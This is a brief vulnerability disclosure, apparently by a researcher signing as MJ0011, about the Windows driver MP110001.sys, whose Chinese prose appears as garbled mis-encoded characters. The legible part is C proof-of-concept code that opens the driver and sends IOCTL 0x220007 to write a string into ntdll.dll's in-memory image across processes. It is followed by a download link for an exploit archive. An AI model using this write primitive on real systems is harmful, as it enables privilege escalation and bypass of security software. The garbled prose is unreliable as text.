×÷ÕߣºMJ0011
΢µãÖ÷¶¯·ÀÓùÊÇÒ»¿îºÅ³ÆʹÓÃÐÐΪ·ÖÎö¼¼Êõʵʱ±£»¤µÄÖ÷¶¯·ÀÓùÈí¼þ¡£
ÆäºËÐÄÇý¶¯MP110001.SYS×îа汾´æÔÚ±¾µØȨÏÞÌáÉý©¶´£¬¿Éµ¼ÖÂÈκÎȨÏÞµÄÓû§ÔÚ±¾µØÌáÉýȨÏÞµ½SYSTEMȨÏÞ£¬ÈƹýUACµÈ±£»¤¡£Í¬Ê±Ò²¿ÉÒÔÀûÓôË©¶´×¢Èëµ½ÈκÎÊܱ£»¤½ø³Ì£¬´Ó¶ø´©Í¸·À»ðǽ¡¢Ö÷¶¯·ÀÓùÈí¼þ¡£
³öÎÊÌâµÄ×é¼þ£ºMP110001.sys,°æ±¾ºÅ£º1.2.10006 CheckSum = 0x00009F60 TimeStamp = 0x43620505
¸ÃÇý¶¯ÌṩÁËÒ»¸ö½Ó¿Ú£¬ÔÊÐíRING3³ÌÐò½«Ò»¿éÊý¾ÝCOPYµ½µØÖ·0-0x80000000µÄÈÎÒâ µØÖ·£¬ÔÚдÈëʱ»á½«¼Ä´æÆ÷CR0µÄµÚ16λÖÃ0£¬´ËʱCPUµÄÒ³±£»¤»úÖƾͻáʧЧ£¬WINDOWS NT µÄCopyOnWrite»úÖÆÒ²½«Ê§Ð§£¬RING3³ÌÐò¿ÉÒÔ½«ÄÚ´æдÈ뵽ϵͳģ¿é£¬ÀýÈçkernel32.dll, user32.dllµÄµØÖ·£¬¸ÄдËüÃǵĴúÂ룬´Ëʱ¶ÔϵͳDLL´úÂëµÄ¸Äд»áÔÚËùÓнø³ÌÌåÄÚͬʱÉúЧ.
ͨ¹ýÕâÒ»½Ó¿Ú£¬ÈκÎȨÏÞµÄRING3³ÌÐò¾Í¿ÉÒÔHOOK»òÅÔ·ϵͳÈκνø³ÌµÄº¯Êýµ÷Ó㬴Ӷø½øÐÐȨÏÞÌáÉý£¬Èç¹ûHOOK½øÖ÷¶¯·ÀÓù¡¢·À»ðǽµÈµÄ½ø³ÌÌåÄÚ£¬Ôò¿ÉÈƹýÖ÷¶¯·ÀÓùÈí¼þµÄ±£»¤¡£
²âÊÔ´úÂ룺 HANDLE hdev = CreateFile("\\\\.\\MP110001" , FILE_READ_ATTRIBUTES , FILE_SHARE_READ |FILE_SHARE_WRITE , 0, OPEN_EXISTING , 0, 0);
if (hdev == INVALID_HANDLE_VALUE) {
CHAR xx[100]; sprintf(xx , "create err = %u\n" , GetLastError()); MessageBox(xx, 0 , 0 ); return ; }
CHAR xx[] = "hello mp!";
HMODULE p = GetModuleHandle("ntdll.dll");
ULONG btr ;
BOOL bret = DeviceIoControl(hdev , 0x220007, (PVOID)((ULONG)p + 2 ), strlen(xx)+1 , xx, 0, &btr , 0 );
CloseHandle(hdev);
²âÊÔ´úÂë»áÏòNTDLL.DLLµÄDOSÍ·µÚ¶þ¸ö×Ö½Ú¿ªÊ¼Ð´ÈëÒ»¸ö×Ö·û´®“hello mp"£¬´ËÐ޸Ľ«ÔÚϵͳÈκνø³ÌÌåÄÚÉúЧ£¬¿ÉʹÓÃOD¡¢WINDBG,WINHEXµÈ¹¤¾ß²é¿´
²âÊÔ³ÌÐòÏÂÔØ£ºhttp://mj0011.ys168.com ©¶´ÑÝʾĿ¼ÏÂLOCALexp_MP.rar
|